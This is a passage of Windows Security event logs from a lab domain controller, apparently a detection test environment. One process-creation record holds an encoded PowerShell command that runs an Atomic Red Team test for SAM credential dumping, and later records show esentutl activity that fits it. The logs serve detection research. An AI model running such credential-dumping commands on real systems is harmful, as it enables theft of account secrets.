The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257843
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A77B5426-D237-0634-10D2-35D5D645BEF1}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=257842
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A77B5426-D237-0634-10D2-35D5D645BEF1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/12/2021 02:33:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=257841
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/12/2021 02:33:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257871
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf04
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES9C4F.tmp" "c:\Users\Administrator\AppData\Local\Temp\o4guj53h\CSC11681F8857874204A4738AD12CE08217.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257870
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13a4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\o4guj53h\o4guj53h.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257869
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x50c
	New Process Name:	C:\Windows\System32\whoami.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13a4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\whoami.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257868
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xcec
	New Process Name:	C:\Windows\System32\HOSTNAME.EXE
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13a4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\HOSTNAME.EXE"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257867
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13a4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xfe4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257913
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257912
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257911
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257910
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257909
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257908
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257907
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257906
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257905
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257904
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257903
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257902
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257901
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257900
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257899
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257898
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257897
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257896
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257895
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257894
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257893
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257892
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x55E621

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0x1200
	Process Name:		C:\Windows\System32\esentutl.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257891
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257890
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257889
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257888
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257887
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Process Information:
	Process ID:		0xf08
	Process Name:		C:\Windows\System32\VSSVC.exe
03/12/2021 02:33:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4799
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=257886
Keywords=Audit Success
Message=A security-enabled local group membership was enumerated.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Group:
